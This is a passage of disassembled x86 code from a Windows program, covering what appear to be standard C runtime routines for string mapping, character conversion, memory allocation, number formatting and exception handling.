		pop	ecx
		retn
sub_421309	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_421320	proc near		; CODE XREF: sub_4102C7+26p
					; sub_417AA4+11p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_421339
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_421339:				; CODE XREF: sub_421320+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_421320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421354	proc near		; CODE XREF: sub_424828+C5p
					; sub_424828+EDp ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	38h
		push	offset stru_429F78
		call	__SEH_prolog
		xor	ebx, ebx
		cmp	ds:dword_4356CC, ebx
		jnz	short loc_4213A2
		push	ebx
		push	ebx
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_429F70
		push	100h
		push	ebx
		call	ds:dword_429064	; LCMapStringW
		test	eax, eax
		jz	short loc_42138D
		mov	ds:dword_4356CC, esi
		jmp	short loc_4213A2
; ---------------------------------------------------------------------------

loc_42138D:				; CODE XREF: sub_421354+2Fj
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_4213A2
		mov	ds:dword_4356CC, 2

loc_4213A2:				; CODE XREF: sub_421354+14j
					; sub_421354+37j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_4213C2
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]

loc_4213AD:				; CODE XREF: sub_421354+61j
		dec	ecx
		cmp	[eax], bl
		jz	short loc_4213BA
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_4213AD
		or	ecx, 0FFFFFFFFh

loc_4213BA:				; CODE XREF: sub_421354+5Cj
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		add	[ebp+arg_C], eax

loc_4213C2:				; CODE XREF: sub_421354+51j
		mov	eax, ds:dword_4356CC
		cmp	eax, 2
		jz	loc_4215AC
		cmp	eax, ebx
		jz	loc_4215AC
		cmp	eax, 1
		jnz	loc_4215DF
		xor	edi, edi
		mov	[ebp+var_2C], edi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4213F9
		mov	eax, ds:dword_435894
		mov	[ebp+arg_18], eax

loc_4213F9:				; CODE XREF: sub_421354+9Bj
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_429124	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_30], esi
		cmp	esi, ebx
		jz	loc_4215DF
		mov	[ebp+ms_exc.disabled], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_41E090
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_421465
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_425CAB
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]
		mov	esi, [ebp+var_30]

loc_421465:				; CODE XREF: sub_421354+F4j
		cmp	[ebp+var_1C], ebx
		jnz	short loc_421486
		lea	eax, [esi+esi]
		push	eax
		call	sub_41D0C4
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_4215DF
		mov	[ebp+var_38], 1

loc_421486:				; CODE XREF: sub_421354+114j
		push	esi
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_429124	; MultiByteToWideChar
		test	eax, eax
		jz	loc_421589
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_429064	; LCMapStringW
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, ebx
		jz	loc_421589
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_4214F5
		cmp	[ebp+arg_14], ebx
		jz	loc_421589
		cmp	edi, [ebp+arg_14]
		jg	loc_421589
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_429064	; LCMapStringW
		jmp	loc_421589
; ---------------------------------------------------------------------------

loc_4214F5:				; CODE XREF: sub_421354+172j
		mov	[ebp+ms_exc.disabled], 2
		lea	eax, [edi+edi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_41E090
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_20], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_421533
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_425CAB
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]
		mov	esi, [ebp+var_30]

loc_421533:				; CODE XREF: sub_421354+1C2j
		cmp	[ebp+var_20], ebx
		jnz	short loc_421550
		lea	eax, [edi+edi]
		push	eax
		call	sub_41D0C4
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_421589
		mov	[ebp+var_34], 1

loc_421550:				; CODE XREF: sub_421354+1E2j
		push	edi
		push	[ebp+var_20]
		push	esi
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_429064	; LCMapStringW
		test	eax, eax
		jz	short loc_421589
		push	ebx
		push	ebx
		cmp	[ebp+arg_14], ebx
		jnz	short loc_421573
		push	ebx
		push	ebx
		jmp	short loc_421579
; ---------------------------------------------------------------------------

loc_421573:				; CODE XREF: sub_421354+219j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_421579:				; CODE XREF: sub_421354+21Dj
		push	edi
		push	[ebp+var_20]
		push	ebx
		push	[ebp+arg_18]
		call	ds:dword_429174	; WideCharToMultiByte
		mov	edi, eax

loc_421589:				; CODE XREF: sub_421354+149j
					; sub_421354+168j ...
		cmp	[ebp+var_34], ebx
		jz	short loc_421597
		push	[ebp+var_20]
		call	sub_41C2DD
		pop	ecx

loc_421597:				; CODE XREF: sub_421354+238j
		cmp	[ebp+var_38], ebx
		jz	short loc_4215A5
		push	[ebp+var_1C]
		call	sub_41C2DD
		pop	ecx

loc_4215A5:				; CODE XREF: sub_421354+246j
		mov	eax, edi
		jmp	loc_421707
; ---------------------------------------------------------------------------

loc_4215AC:				; CODE XREF: sub_421354+76j
					; sub_421354+7Ej
		mov	[ebp+var_28], ebx
		xor	edi, edi
		mov	[ebp+var_3C], ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4215C1
		mov	eax, ds:dword_435884
		mov	[ebp+arg_0], eax

loc_4215C1:				; CODE XREF: sub_421354+263j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4215CE
		mov	eax, ds:dword_435894
		mov	[ebp+arg_18], eax

loc_4215CE:				; CODE XREF: sub_421354+270j
		push	[ebp+arg_0]
		call	sub_425A9F
		pop	ecx
		mov	[ebp+var_40], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4215E6

loc_4215DF:				; CODE XREF: sub_421354+87j
					; sub_421354+CDj ...
		xor	eax, eax
		jmp	loc_421707
; ---------------------------------------------------------------------------

loc_4215E6:				; CODE XREF: sub_421354+289j
		cmp	eax, [ebp+arg_18]
		jz	loc_4216DD
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_425AE2
		add	esp, 18h
		mov	[ebp+var_28], eax
		cmp	eax, ebx
		jz	short loc_4215DF
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_429068	; LCMapStringA
		mov	esi, eax
		mov	[ebp+var_24], esi
		cmp	esi, ebx
		jz	loc_4216CC
		mov	[ebp+ms_exc.disabled], ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_41E090
		mov	[ebp+ms_exc.old_esp], esp
		mov	edi, esp
		mov	[ebp+var_44], edi
		push	esi
		push	ebx
		push	edi
		call	sub_41C6D0
		add	esp, 0Ch
		jmp	short loc_42165D
; ---------------------------------------------------------------------------

loc_42164D:				; DATA XREF: .text:stru_429F78o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_421651:				; DATA XREF: .text:stru_429F78o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_425CAB
		xor	ebx, ebx
		xor	edi, edi

loc_42165D:				; CODE XREF: sub_421354+2F7j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		cmp	edi, ebx
		jnz	short loc_421688
		push	[ebp+var_24]
		call	sub_41D0C4
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4216A5
		push	[ebp+var_24]
		push	ebx
		push	edi
		call	sub_41C6D0
		add	esp, 0Ch
		mov	[ebp+var_3C], 1

loc_421688:				; CODE XREF: sub_421354+30Fj
		push	[ebp+var_24]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_28]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_429068	; LCMapStringA
		mov	[ebp+var_24], eax
		cmp	eax, ebx
		jnz	short loc_4216A9

loc_4216A5:				; CODE XREF: sub_421354+31Ej
		xor	esi, esi
		jmp	short loc_4216CF
; ---------------------------------------------------------------------------

loc_4216A9:				; CODE XREF: sub_421354+34Fj
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_40]
		call	sub_425AE2
		add	esp, 18h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		jmp	short loc_4216CF
; ---------------------------------------------------------------------------

loc_4216CC:				; CODE XREF: sub_421354+2D0j
		mov	esi, [ebp+var_48]

loc_4216CF:				; CODE XREF: sub_421354+353j
					; sub_421354+376j
		cmp	[ebp+var_3C], ebx
		jz	short loc_4216F7
		push	edi
		call	sub_41C2DD
		pop	ecx
		jmp	short loc_4216F7
; ---------------------------------------------------------------------------

loc_4216DD:				; CODE XREF: sub_421354+295j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_429068	; LCMapStringA
		mov	esi, eax

loc_4216F7:				; CODE XREF: sub_421354+37Ej
					; sub_421354+387j
		cmp	[ebp+var_28], ebx
		jz	short loc_421705
		push	[ebp+var_28]
		call	sub_41C2DD
		pop	ecx

loc_421705:				; CODE XREF: sub_421354+3A6j
		mov	eax, esi

loc_421707:				; CODE XREF: sub_421354+253j
					; sub_421354+28Dj
		lea	esp, [ebp-54h]
		call	__SEH_epilog
		retn
sub_421354	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421710	proc near		; CODE XREF: sub_41D6EF+2Ap

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, ds:dword_433148
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		xor	edi, edi
		call	sub_42612C
		mov	ebx, eax
		add	esp, 1Ch
		test	bl, 4
		jz	short loc_421750
		mov	edi, 200h
		mov	[ebp+var_18], esi
		mov	[ebp+var_14], esi
		jmp	short loc_42177E
; ---------------------------------------------------------------------------

loc_421750:				; CODE XREF: sub_421710+31j
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_426086
		test	bl, 2
		pop	ecx
		pop	ecx
		jnz	short loc_421769
		cmp	eax, 1
		jnz	short loc_42176E

loc_421769:				; CODE XREF: sub_421710+52j
		mov	edi, 80h

loc_42176E:				; CODE XREF: sub_421710+57j
		test	bl, 1
		jnz	short loc_421778
		cmp	eax, 2
		jnz	short loc_42177E

loc_421778:				; CODE XREF: sub_421710+61j
		or	edi, 100h

loc_42177E:				; CODE XREF: sub_421710+3Ej
					; sub_421710+66j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_1C]
		sub	ecx, [ebp+arg_4]
		mov	[eax], edi
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_18]
		mov	[eax+10h], ecx
		mov	ecx, [ebp+var_14]
		pop	edi
		mov	[eax+14h], ecx
		mov	ecx, [ebp+var_4]
		pop	esi
		pop	ebx
		call	sub_41E5BB
		leave
		retn
sub_421710	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217A5	proc near		; CODE XREF: sub_41D732+B2p
					; sub_41DE51+Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_4203B6
		mov	edi, [ebp+arg_0]
		mov	esi, eax
		mov	edx, [esi+54h]
		mov	eax, ds:dword_433894
		mov	ecx, edx

loc_4217C0:				; CODE XREF: sub_4217A5+2Aj
		cmp	[ecx], edi
		jz	short loc_4217D1
		lea	ebx, [eax+eax*2]
		add	ecx, 0Ch
		lea	ebx, [edx+ebx*4]
		cmp	ecx, ebx
		jb	short loc_4217C0

loc_4217D1:				; CODE XREF: sub_4217A5+1Dj
		lea	eax, [eax+eax*2]
		lea	eax, [edx+eax*4]
		cmp	ecx, eax
		jnb	short loc_4217DF
		cmp	[ecx], edi
		jz	short loc_4217E1

loc_4217DF:				; CODE XREF: sub_4217A5+34j
		xor	ecx, ecx

loc_4217E1:				; CODE XREF: sub_4217A5+38j
		test	ecx, ecx
		jz	loc_4218FB
		mov	ebx, [ecx+8]
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	loc_4218FB
		cmp	ebx, 5
		jnz	short loc_421808
		and	dword ptr [ecx+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_421904
; ---------------------------------------------------------------------------

loc_421808:				; CODE XREF: sub_4217A5+55j
		cmp	ebx, 1
		jz	loc_4218F6
		mov	eax, [esi+58h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+58h], eax
		mov	eax, [ecx+4]
		cmp	eax, 8
		jnz	loc_4218E8
		mov	edx, ds:dword_433888
		mov	eax, ds:dword_43388C
		add	eax, edx
		cmp	edx, eax
		jge	short loc_421861
		lea	eax, [edx+edx*2]
		shl	eax, 2

loc_421840:				; CODE XREF: sub_4217A5+B7j
		mov	edi, [esi+54h]
		and	dword ptr [eax+edi+8], 0
		mov	edi, ds:dword_433888
		mov	ebx, ds:dword_43388C
		inc	edx
		add	ebx, edi
		add	eax, 0Ch
		cmp	edx, ebx
		jl	short loc_421840
		mov	ebx, [ebp+arg_0]

loc_421861:				; CODE XREF: sub_4217A5+93j
		mov	ecx, [ecx]
		cmp	ecx, 0C000008Eh
		mov	edi, [esi+5Ch]
		jnz	short loc_421877
		mov	dword ptr [esi+5Ch], 83h
		jmp	short loc_4218DB
; ---------------------------------------------------------------------------

loc_421877:				; CODE XREF: sub_4217A5+C7j
		cmp	ecx, 0C0000090h
		jnz	short loc_421888
		mov	dword ptr [esi+5Ch], 81h
		jmp	short loc_4218DB
; ---------------------------------------------------------------------------

loc_421888:				; CODE XREF: sub_4217A5+D8j
		cmp	ecx, 0C0000091h
		jnz	short loc_421899
		mov	dword ptr [esi+5Ch], 84h
		jmp	short loc_4218DB
; ---------------------------------------------------------------------------

loc_421899:				; CODE XREF: sub_4217A5+E9j
		cmp	ecx, 0C0000093h
		jnz	short loc_4218AA
		mov	dword ptr [esi+5Ch], 85h
		jmp	short loc_4218DB
; ---------------------------------------------------------------------------

loc_4218AA:				; CODE XREF: sub_4217A5+FAj
		cmp	ecx, 0C000008Dh
		jnz	short loc_4218BB
		mov	dword ptr [esi+5Ch], 82h
		jmp	short loc_4218DB
; ---------------------------------------------------------------------------

loc_4218BB:				; CODE XREF: sub_4217A5+10Bj
		cmp	ecx, 0C000008Fh
		jnz	short loc_4218CC
		mov	dword ptr [esi+5Ch], 86h
		jmp	short loc_4218DB
; ---------------------------------------------------------------------------

loc_4218CC:				; CODE XREF: sub_4217A5+11Cj
		cmp	ecx, 0C0000092h
		jnz	short loc_4218DB
		mov	dword ptr [esi+5Ch], 8Ah

loc_4218DB:				; CODE XREF: sub_4217A5+D0j
					; sub_4217A5+E1j ...
		push	dword ptr [esi+5Ch]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+5Ch], edi
		jmp	short loc_4218EF
; ---------------------------------------------------------------------------

loc_4218E8:				; CODE XREF: sub_4217A5+7Ej
		and	dword ptr [ecx+8], 0
		push	eax
		call	ebx

loc_4218EF:				; CODE XREF: sub_4217A5+141j
		mov	eax, [ebp+var_4]
		pop	ecx
		mov	[esi+58h], eax

loc_4218F6:				; CODE XREF: sub_4217A5+66j
		or	eax, 0FFFFFFFFh
		jmp	short loc_421904
; ---------------------------------------------------------------------------

loc_4218FB:				; CODE XREF: sub_4217A5+3Ej
					; sub_4217A5+4Cj
		push	[ebp+arg_4]
		call	ds:dword_429060	; UnhandledExceptionFilter

loc_421904:				; CODE XREF: sub_4217A5+5Ej
					; sub_4217A5+154j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4217A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421909	proc near		; CODE XREF: sub_41D7F8+25p
					; sub_4203B6+23p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004219BC SIZE 00000008 BYTES

		push	10h
		push	offset stru_429FA0
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		mov	[ebp+var_20], esi
		test	esi, esi
		jnz	short loc_421924
		inc	esi

loc_421924:				; CODE XREF: sub_421909+18j
					; sub_421909+9Fj
		xor	edi, edi
		mov	[ebp+var_1C], edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_421993
		cmp	ds:dword_4395BC, 3
		jnz	short loc_42197E
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		mov	ebx, [ebp+var_20]
		cmp	ebx, ds:dword_4395A8
		ja	short loc_42197E
		push	4
		call	sub_41E983
		pop	ecx
		and	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_41F1DB
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4219B3
		mov	edi, [ebp+var_1C]
		test	edi, edi
		jz	short loc_421982
		push	[ebp+var_20]
		push	0
		push	edi
		call	sub_41C6D0
		add	esp, 0Ch

loc_42197E:				; CODE XREF: sub_421909+2Cj
					; sub_421909+40j
		test	edi, edi
		jnz	short loc_4219BC

loc_421982:				; CODE XREF: sub_421909+65j
		push	esi
		push	8
		push	ds:dword_4395B8
		call	ds:dword_4290A0	; RtlAllocateHeap
		mov	edi, eax

loc_421993:				; CODE XREF: sub_421909+23j
		test	edi, edi
		jnz	short loc_4219BC
		cmp	ds:dword_4356BC, edi
		jz	short loc_4219BC
		push	esi
		call	sub_41E56F
		pop	ecx
		test	eax, eax
		jnz	loc_421924
		jmp	short loc_4219BE
sub_421909	endp


; =============== S U B	R O U T	I N E =======================================



sub_4219B0	proc near		; DATA XREF: .text:stru_429FA0o
		mov	esi, [ebp+0Ch]
sub_4219B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4219B3	proc near		; CODE XREF: sub_421909+5Bp
		push	4
		call	sub_41E8CE
		pop	ecx
		retn
sub_4219B3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_421909

loc_4219BC:				; CODE XREF: sub_421909+77j
					; sub_421909+8Cj ...
		mov	eax, edi

loc_4219BE:				; CODE XREF: sub_421909+A5j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_421909

; =============== S U B	R O U T	I N E =======================================



sub_4219C4	proc near		; CODE XREF: sub_421A02+1Ep
					; sub_421A2C+Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		jz	short loc_4219D1
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	eax

loc_4219D1:				; CODE XREF: sub_4219C4+5j
		push	esi
		mov	esi, ecx

loc_4219D4:				; CODE XREF: sub_4219C4+28j
		xor	edx, edx
		div	[esp+4+arg_0]
		cmp	edx, 9
		jbe	short loc_4219E4
		add	dl, 57h
		jmp	short loc_4219E7
; ---------------------------------------------------------------------------

loc_4219E4:				; CODE XREF: sub_4219C4+19j
		add	dl, 30h

loc_4219E7:				; CODE XREF: sub_4219C4+1Ej
		mov	[ecx], dl
		inc	ecx
		test	eax, eax
		ja	short loc_4219D4
		mov	byte ptr [ecx],	0
		dec	ecx

loc_4219F2:				; CODE XREF: sub_4219C4+3Aj
		mov	dl, [esi]
		mov	al, [ecx]
		mov	[ecx], dl
		dec	ecx
		mov	[esi], al
		inc	esi
		cmp	esi, ecx
		jb	short loc_4219F2
		pop	esi
		retn
sub_4219C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421A02	proc near		; CODE XREF: sub_4094D4+4Dp
					; sub_40FEFE+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		mov	eax, [ebp+arg_0]
		jnz	short loc_421A18
		test	eax, eax
		jge	short loc_421A18
		push	1
		push	0Ah
		jmp	short loc_421A1D
; ---------------------------------------------------------------------------

loc_421A18:				; CODE XREF: sub_421A02+Aj
					; sub_421A02+Ej
		push	0
		push	[ebp+arg_8]

loc_421A1D:				; CODE XREF: sub_421A02+14j
		mov	ecx, [ebp+arg_4]
		call	sub_4219C4
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421A02	endp


; =============== S U B	R O U T	I N E =======================================



sub_421A2C	proc near		; CODE XREF: sub_41D883+4Cp
					; sub_41D8E4+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	0
		push	[esp+4+arg_8]
		call	sub_4219C4
		mov	eax, [esp+8+arg_4]
		pop	ecx
		pop	ecx
		retn
sub_421A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421A46	proc near		; CODE XREF: sub_41D883+46p
		jmp	ds:dword_429148
sub_421A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421A4C	proc near		; CODE XREF: sub_41D8E4+Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		call	sub_4203B6
		mov	eax, [eax+60h]
		cmp	eax, ds:dword_438204
		jz	short loc_421A67
		call	sub_4249B4

loc_421A67:				; CODE XREF: sub_421A4C+14j
		cmp	[eax+8], esi
		jnz	short loc_421A73
		pop	esi
		pop	ebp
		jmp	sub_41C8A0
; ---------------------------------------------------------------------------

loc_421A73:				; CODE XREF: sub_421A4C+1Ej
		mov	edx, [ebp+arg_0]
		push	ebx
		push	edi

loc_421A78:				; CODE XREF: sub_421A4C+62j
		mov	bl, [edx]
		movzx	ecx, bl
		movzx	edi, cl
		test	byte ptr [edi+eax+1Dh],	4
		jz	short loc_421AA4
		inc	edx
		mov	bl, [edx]
		test	bl, bl
		jz	short loc_421AA0
		movzx	edi, bl
		shl	ecx, 8
		or	ecx, edi
		cmp	[ebp+arg_4], ecx
		jnz	short loc_421AAB
		lea	esi, [edx-1]
		jmp	short loc_421AAB
; ---------------------------------------------------------------------------

loc_421AA0:				; CODE XREF: sub_421A4C+40j
		test	esi, esi
		jmp	short loc_421AA7
; ---------------------------------------------------------------------------

loc_421AA4:				; CODE XREF: sub_421A4C+39j
		cmp	[ebp+arg_4], ecx

loc_421AA7:				; CODE XREF: sub_421A4C+56j
		jnz	short loc_421AAB
		mov	esi, edx

loc_421AAB:				; CODE XREF: sub_421A4C+4Dj
					; sub_421A4C+52j ...
		inc	edx
		test	bl, bl
		jnz	short loc_421A78
		pop	edi
		pop	ebx
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_421A4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421AB7	proc near		; DATA XREF: .text:00433068o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 00421B3E SIZE 00000012 BYTES

		push	10h
		push	offset stru_429FB0
		call	__SEH_prolog
		xor	esi, esi
		mov	[ebp+var_1C], esi
		push	1
		call	sub_41E983
		pop	ecx
		mov	[ebp+ms_exc.disabled], esi

loc_421AD3:				; CODE XREF: sub_421AB7+71j
		mov	[ebp+var_20], esi
		cmp	esi, ds:dword_439580
		jge	short loc_421B3E
		mov	eax, ds:dword_438560
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_421B27
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_421B27
		push	eax
		push	esi
		call	sub_420CAF
		pop	ecx
		pop	ecx
		mov	[ebp+ms_exc.disabled], 1
		mov	eax, ds:dword_438560
		mov	eax, [eax+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_421B1E
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_421B1E
		push	eax
		call	sub_41D477
		pop	ecx
		inc	[ebp+var_1C]

loc_421B1E:				; CODE XREF: sub_421AB7+55j
					; sub_421AB7+5Bj
		and	[ebp+ms_exc.disabled], 0
		call	sub_421B2D

loc_421B27:				; CODE XREF: sub_421AB7+31j
					; sub_421AB7+37j
		inc	esi
		jmp	short loc_421AD3
sub_421AB7	endp

; ---------------------------------------------------------------------------

loc_421B2A:				; DATA XREF: .text:00429FC4o
		mov	esi, [ebp-20h]

; =============== S U B	R O U T	I N E =======================================



sub_421B2D	proc near		; CODE XREF: sub_421AB7+6Bp
		mov	eax, ds:dword_438560
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_420D01
		pop	ecx
		pop	ecx
		retn
sub_421B2D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_421AB7

loc_421B3E:				; CODE XREF: sub_421AB7+25j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_421B50
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_421AB7

; =============== S U B	R O U T	I N E =======================================



sub_421B50	proc near		; CODE XREF: sub_421AB7+8Bp
					; DATA XREF: .text:stru_429FB0o
		push	1
		call	sub_41E8CE
		pop	ecx
		retn
sub_421B50	endp


; =============== S U B	R O U T	I N E =======================================



sub_421B59	proc near		; CODE XREF: sub_41D92B+42p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_429110	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_421B79
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		push	eax
		call	sub_4200C7
		pop	ecx

loc_421B75:				; CODE XREF: sub_421B59+41j
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_421B79:				; CODE XREF: sub_421B59+Dj
		test	al, 1
		jz	short loc_421B9C
		test	[esp+arg_4], 2
